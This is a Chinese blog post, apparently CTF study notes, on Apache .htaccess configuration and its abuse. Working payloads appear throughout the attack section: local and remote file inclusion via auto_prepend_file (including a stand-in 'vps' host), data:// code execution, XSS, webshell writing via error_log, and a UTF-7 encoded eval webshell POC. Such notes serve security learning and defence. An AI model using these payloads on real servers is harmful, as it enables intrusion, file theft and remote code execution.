.htaccess文件的华点

2023-05-17 10:32:11 浏览数 (1)

.htaccess文件的华点

今天找了一下使用.htaccess配置文件绕过<?的方法,发现有不不少值得关注的配置,另外也学习了一下.htaccess的工作方式和配置语法。

–2022.5.27

[TOC]

简单介绍

相关模块

相关指令

core mod_authn_file mod_authz_groupfile mod_cgi mod_include mod_mime

AccessFileName AllowOverride Options AddHandler SetHandler AuthType AuthName AuthUserFile AuthGroupFile Require

如果需要使用.htaccess以外的其他文件名,可以用AccessFileName指令来改变。例如,需要使用.config ,则可以在服务器配置文件中按以下方法配置:

代码语言:javascript复制
        AccessFileName .config      

通常,.htaccess文件使用的配置语法和主配置文件一样。AllowOverride指令按类别决定了.htaccess文件中哪些指令才是有效的。如果一个指令允许在.htaccess中使用,此指令会有一个覆盖项段,其中说明了为使此指令生效而必须在AllowOverride指令中设置的值。

例如,对AddDefaultCharset指令的阐述表明此指令可以用于.htaccess文件中(见"作用域"项),而覆盖项一行是FileInfo ,那么为了使.htaccess中的此指令有效,则至少要设置 AllowOverride FileInfo

作用域

server config, virtual host, directory, .htaccess

覆盖项

FileInfo

想要.htaccess起作用就需要先在apache2.conf 中配置AllowOverride 为ALL,否则.htaccess就可能不会覆盖原有的某些配置

.htaccess作用域**

server config, virtual host, directory, .htaccess, FilesMatch

作用域是在标签开头设置好的,它的作用就是设置标签内的配置只有在标签指定的作用域内才会产生作用

例如:

代码语言:javascript复制
<FilesMatch .htaccess>
SetHandler application/x-httpd-php  
php_flag engine on  
</FilesMatch>

这个配置就是对.htaccess文件的配置,首先设置文件解析使用php解释器, 并将php配置中的解释器配置engine打开,(如果关了的话会直接显示出php的源码),至于具体的配置可以看下面的.htaccess 常见指令部分

如果directory而不是FilesMatch的话那么配置就会在指定的目录生效(前提是访问目录文件时会加载到.htaccess文件的配置)

什么时候.htaccess文件的配置会生效?

总结来说就是.htaccess文件中的配置,都可以放在主配置文件的<Directory>段完成, 每次访问一个资源的时候会向上遍历父目录下的.htaccess文件配置

.htaccess文件应该被用在内容提供者需要针对特定目录改变服务器的配置而又没有root权限的情况下。如果服务器管理员不愿意频繁修改配置,则可以允许用户通过.htaccess文件自己修改配置,尤其是ISP在同一个机器上运行了多个用户站点,而又希望用户可以自己改变配置的情况下。

虽然如此,一般都应该尽可能地避免使用.htaccess文件。任何希望放在.htaccess文件中的配置,都可以放在主配置文件的<Directory>段中,而且更高效。

避免使用.htaccess文件有两个主要原因。

首先是性能。如果AllowOverride启用了.htaccess文件,则Apache需要在每个目录中查找.htaccess文件,因此,无论是否真正用到,启用.htaccess都会导致性能的下降。另外,对每一个请求,都需要读取一次.htaccess文件。

还有,Apache必须在所有上级的目录中查找.htaccess文件,以使所有有效的指令都起作用(参见指令的生效),所以,如果请求/www/htdocs/example中的页面,Apache必须查找以下文件:

代码语言:javascript复制
/.htaccess
/www/.htaccess
/www/htdocs/.htaccess
/www/htdocs/example/.htaccess    

总共要访问4个额外的文件,即使这些文件都不存在。(注意,这可能仅仅由于允许根目录"/"使用.htaccess ,虽然这种情况并不多。)

指令的生效

上面提到,会加载全部父目录的.htaccess文件,如果多个目录都对某种规则进行了设置那么最后哪个文件的配置会生效呢?

答案是最后一个子目录的配置文件的配置会生效,因为配置文件是先从根目录开始逐渐向下加载(如果有的话),当子目录有配置和父目录的配置发生冲突时上一级的配置就会被下一级的配置所覆盖

.htaccess 常见指令

SetHandler

SetHandler 指令可以强制所有匹配的文件被一个指定的处理器处理。

用法: SetHandler handler-name|None SetHandler application/x-httpd-php SetHandler server-status

AddHandler

AddHandler 指令可以实现在文件扩展名与特定的处理器之间建立映射。

用法: AddHandler handler-name extensive [extensive] … AddHandler cgi-script .xxx 即将扩展名为 .xxx 的文件作为 CGI 脚本来处理。

AddType

AddType 指令可以将给定的文件扩展名映射到指定的内容类型。

用法: AddType media-type extensive [extensive] … AddType application/x-httpd-php .gif AddType application/x-httpd-php png jpg gif 将指定的后缀名交给指定处理器处理

php_flag

php_flag 指令用来设定布尔值类型的 PHP 配置选项。

用法: php_flag name on|off php_flag engine 0 #将 engine 设置为 0,即在本目录和子目录中关闭 PHP 解析,可以造成源码泄露。

php_flag 可以设定的配置也是有范围的

php_value

可以用 Apache 的配置文件(例如 httpd.conf)或 .htaccess 文件中的指令来修改 PHP 的配置设定。但是需要有开启 AllowOverride Options 或 AllowOverride All 权限才可以。php_value 指令用来设定指定的 PHP 的配置值。要清除先前设定的值,把 value 设为 none。但是 php_value 不能用来设定布尔值,如果要设定布尔值的话应该用 php_flag。

重要的事情说三遍:

  • 并不是全部的PHP变量都可以用.htaccess的php_value设置
  • 并不是全部的PHP变量都可以用.htaccess的php_value设置
  • 并不是全部的PHP变量都可以用.htaccess的php_value设置

用法: php_value name value php_value auto_prepend_file images.png

但是并不是所有的 PHP 配置都可以用 php_value 来设定,如下查看配置可被设定范围:

.htaccess 的 php_value 只能用于 PHP_INI_ALL 或 PHP_INI_PERDIR 类型的配置。

本地文件包含

php_value auto_prepend_file /etc/passwd php_value auto_append_file /etc/passwd

远程文件包含

allow_url_include 配置选项这个选项默认是关闭的,如果开启的话就可以进行远程包含。因为 allow_url_include 的配置范围为 PHP_INI_SYSTEM,所以无法利用 php_flag 指令在 .htaccess 文件中开启。所以想要执行远程文件包含还是要打开allow_url_include

php_value auto_prepend_file http://vps/1.txt php_value auto_append_file http://vps/1.txt

任意代码执行

使用条件: allow_url_fopen 为 On•allow_url_include 为 On•目标环境的当前目录中存在至少一个 PHP 文件

php_value auto_append_file data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8 php_value auto_append_file data://text/plian, // 如果不使用base64加密则注意需要url编码

如果没有php文件的话可以通过预加载.htaccess文件或者将.htaccess作为文件后缀指定使用php处理器处理

方法一: php_value auto_append_file .htaccess#<?php phpinfo();?> 方法二: Require all granted Order allow,deny Allow from all SetHandler application/x-httpd-php#

XSS 攻击

可以通过 .htaccess 文件设定 highlight.comment 选项,指定需要高亮的内容,从而进行 XSS。(第一次知道这个环境变量,真的细)

xss=

方法一: highlight_file高亮输出,只要执行highlight_file就会输出xss内容 php_value highlight.comment xss 方法二: 报错输出,只要出错就会输出xss内容 php_flag display_errors 1 php_flag html_errors 1 php_value docref_root xss

自定义错误文件写shell

error_log 可以将 PHP 运行报错的记录写到指定文件中,因此我们可以通过 .htaccess 文件设定 error_log 选项来自定义错误文件的存储路径,并以此来写入Webshell:

php_value error_log /var/www/html/shell.php php_value include_path "

但是上面的文件内容时<会先经过html编码变为<后才被写入日志文件,想要饶过的话可以使用UTF-7编码

php_flag zend.multibyte 1 php_flag zend.multibyte 1 php_value zend.script_encoding "UTF-7"

正则回朔绕过正则匹配

之前看到过p神的文章《PHP利用PCRE回溯次数限制绕过某些安全限制》里面介绍了如何通过回溯次数限制绕过正则匹配,没想到设置回溯限制次数的变量也在在这里提到了

php_value pcre.backtrack_limit 0php_value pcre.jit 0

绕过 <? 特殊字符

下面的绕过方式其实是伪协议的使用,通过伪协议对文件内容进行解码得到包含<?在内的shell文件内, 然后再通过预加载文件设置执行伪协议解码后的shell代码

方法一: php伪协议解析UTF-7(还有base64或其它解码方法也行)

php_value auto_append_file "php://filter/convert.base64-decode/resource=images.png" # images.png 中是经过base64编码后的Webshell

方法二: 指定UTF-7协议解析字符串

php_value auto_append_file images.png php_flag zend.multibyte 1 php_value zend.script_encoding "UTF-7"

方法三: 通过data协议指定base64解析字符串

php_value auto_append_file data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8

没动手使,但是感觉这两个使用协议执行命令应该也是需要开启url_fopen和url_finclude配置的,毕竟auto_append_file指定的的文件只是被通过include这种方式进行的文件包含

多指令结合

可以通过下面两个方法直接将shellcode写在.htaccess里面并且直接访问.htaccess就能执行代码

  1. 配置一: 设置文件.htaccess为预加载文件
  2. 配置二: 在.htaccess里面写php的shellcode

通过上面两个配置我们在每次访问php文件的时候都会加载.htaccess里面的代码

其实我们还可以再进一步, 即使没有php文件也可以执行shellcode,在配置一二基础上加上下面配置:

  1. 配置三: 上传png jpg等文件并且设置这些文件后缀的处理器为php处理器

上面设置也可以在没有php文件的条件下执行.htaccess里面的shellcode,但是其实可以再上传一个文件的话直接在上传文件写shellcode即可也没有必要在.htaccess里面写shellcode了,再进一步是怎么样的呢?

  1. 配置四: 设置.htaccess后缀文件交给php解释器解析

通过配置二四我们就可以直接在访问.htaccess的时候执行里面的shellcode命令,但是需要注意的是,默认情况下处于安全考虑.htaccess文件是不能被访问直接的,所以我们再加上一个允许.htaccess被访问的配置后得到下面poc:

POC1: SetHandler application/x-httpd-php Require all granted php_flag engine on POC2: Require all granted php_value auto_append_file .htaccess php_flag zend.multibyte 1 php_value zend.script_encoding "UTF-7"# ADw?php eval( ACQAXw-POST AFs-whoami AF0) ADs? AD4-

绕过关键字过滤

绕过对关键字的过滤我们可以使用反斜杠 加换行来实现。比如题目过滤了 type、php 等敏感字符,此时为了利用 .htaccess 解析图片马,我们需要将 .htaccess 写成这样:

代码语言:javascript复制
AddType application/x-httpd-php .png# 即: AddType application/x-httpd-php .png

绕过对上传图片的尺寸限制

有时候,在图片上传区会使用 getimagesize() 等函数对上传的图片进行尺寸限制,只允许上传指定大小尺寸的图片,并且会使用 exif_imagetype() 函数读取第一个字节并检查其图片类型。此时如果可以上传 .htaccess 来解析图片的话我们还需要让 .htaccess 的尺寸和经过 exif_imagetype() 检测后的结果符合题目要求。

我们可以使用 exif_imagetype() 函数支持的 WBMP 图像类型进行绕过。WBMP(Wireless Bitmap)是一种移动计算机设备使用的标准图像格式,是一种纯文本二进制图像格式的图片,实例如下:

代码语言:javascript复制
#define test_width 16#define test_height 7static char test_bits[] = {0x13, 0x00, 0x15, 0x00, 0x93, 0xcd, 0x55, 0xa5, 0x93, 0xc5, 0x00, 0x80,0x00, 0x60 };

可以看到 WBMP 图像的开头可以使用 # 设置图像的尺寸大小,这正符合我们的要求。所以假设题目限制我们上传的图片尺寸必须为1337x1337,那么我们在上传.htaccess时便可以用 WBMP 来绕过,例如:

代码语言:javascript复制
#define width 1337#define height 1337AddType application/x-httpd-php images.png

例题: [Insomnihack Teaser 2019 Web]l33t-hoster [SUCTF 2019]EasyWeb

除了上面这些在Web安全|.htaccess的奇淫技巧中提到的之外还有一些文章提到的点也很有意思,在这里记录一下:

网站重定向

网站重定向的功能可以说是都是一些日常开发人员的需求,在这里就不细说了,详细的可以看文章:.htaccess文件格式,这里简单列两点:

RewriteEngine On|Off

RewriteEngine 用于开启或停用rewrite功能。rewrite configurations 不会自动继承。

rewrite的语法格式

  1. RewriteEngine On #启用rewrite起作用。
  2. RewriteBase url-path #设定基准目录。
  3. RewriteCond test-string condPattern #用于测试rewrite的匹配条件。
  4. RewriteRule Pattern Substitution #规则

RewriteCond在看文章Apache中的htaccess文件格式简析我主要注意到了几个标签标记作用

代码语言:javascript复制
T   Type    强制执行指明的MIME类
PT  Passthrough     将重写后的URL地址传递给另一个Apache模块进行进一步处理
E   Env     设置环境变量

标签标记:

标记

含义

描述

R

Redirect

发出一个HTTP重定向

F

Forbidden

禁止对URL地址的存取

G

Gone

标记URL地址不存在

P

Proxy

将URL地址传递给mod_proxy

L

Last

停止处理接下来的规则

N

Next

再次重第一个规则开始处理,但是使用当前重写后的URL地址

C

Chain

将当前的规则和紧随其后的规则链接起来

T

Type

强制执行指明的MIME类

NS

Nosubreq

只在没有任何内部子请求执行时运行本脚本

NC

Nocase

URL地址匹配对大小写不敏感

QSA

Qsappend

在新的URL地址后附加查询字符串部分,而不是替代

PT

Passthrough

将重写后的URL地址传递给另一个Apache模块进行进一步处理

S

Skip

忽略之后的规则

E

Env

设置环境变量

RewriteCond参数:

参数

含义

解释

-d

目录

将TestString视为一个路径名并测试它是否为一个存在的目录。

-f

常规文件

将TestString视为一个路径名并测试它是否为一个存在的常规文件。

-s

非空的常规文件

将TestString视为一个路径名并测试它是否为一个存在的、尺寸大于0的常规文件。

-l

符号连接

将TestString视为一个路径名并测试它是否为一个存在的符号连接。

-x

可执行

将TestString视为一个路径名并测试它是否为一个存在的、具有可执行权限的文件。该权限由操作系统检测。

-F

对子请求存在的文件

检查TestString是否为一个有效的文件,而且可以在服务器当前的访问控制配置下被访问。它使用一个内部子请求来做检查,由于会降低服务器的性能,所以请谨慎使用!

-U

对子请求存在的URL

检查TestString是否为一个有效的URL,而且可以在服务器当前的访问控制配置下被访问。它使用一个内部子请求来做检查,由于会降低服务器的性能,所以请谨慎使用!

服务器端包含(SSI)举例

.htaccess文件的另一个常见用途是允许一个特定的目录使用服务器端包含(SSI),可以在需要的目录中放置.htaccess文件,并作如下配置:

代码语言:javascript复制
       Options  Includes       AddType text/html shtml       AddHandler server-parsed shtml    

注意,必须同时设置 AllowOverride Options 和 AllowOverride FileInfo 以使这些指令生效。

CGI

可以通过.htaccess文件允许在特定的目录中执行CGI程序,需要作如下配置:

代码语言:javascript复制
       Options  ExecCGI       AddHandler cgi-script cgi pl    

另外,如下配置可以使给定目录下的所有文件被视为CGI程序:

代码语言:javascript复制
       Options  ExecCGI       SetHandler cgi-script    

注意,必须同时设置 AllowOverride Options 和 AllowOverride FileInfo 以使这些指令生效。

用户网站目录

相关模块

相关指令

mod_userdir

UserDir DirectoryMatch AllowOverride

这个可以到官网手册https://www.php.cn/manual/view/17331.html#related看一下,主要涉及目录的服务用户对象和为不同目录开启服还有开启CGI的配置

别的一些。。。

缓存文件

此外我还在文章.htaccess文件格式中看到缓存文件的配置,

代码语言:javascript复制
<FilesMatch “.(flv|gif|jpg|jpeg|png|ico|swf|js|css|pdf)$”>
Header set Cache-Control “max-age=2592000〃
</FilesMatch>

想到了之前的include文件包含tmp下的临时文件,不知道这个缓存配置的缓存方法是怎么样的,如果是可以在较长时间内保存着这个文件的话那就有意思了,不过还没动手测试,等过两天结束国赛之后去把这些配置的使用都上手试一遍

apache2缓冲的官方文档:缓冲指南

参考文章:

.htaccess文件官方文档介绍(这真是Apache2官方文档)

htaccess 文件:终极指南

.htaccess文件格式

Apache中的htaccess文件格式简析

0 人点赞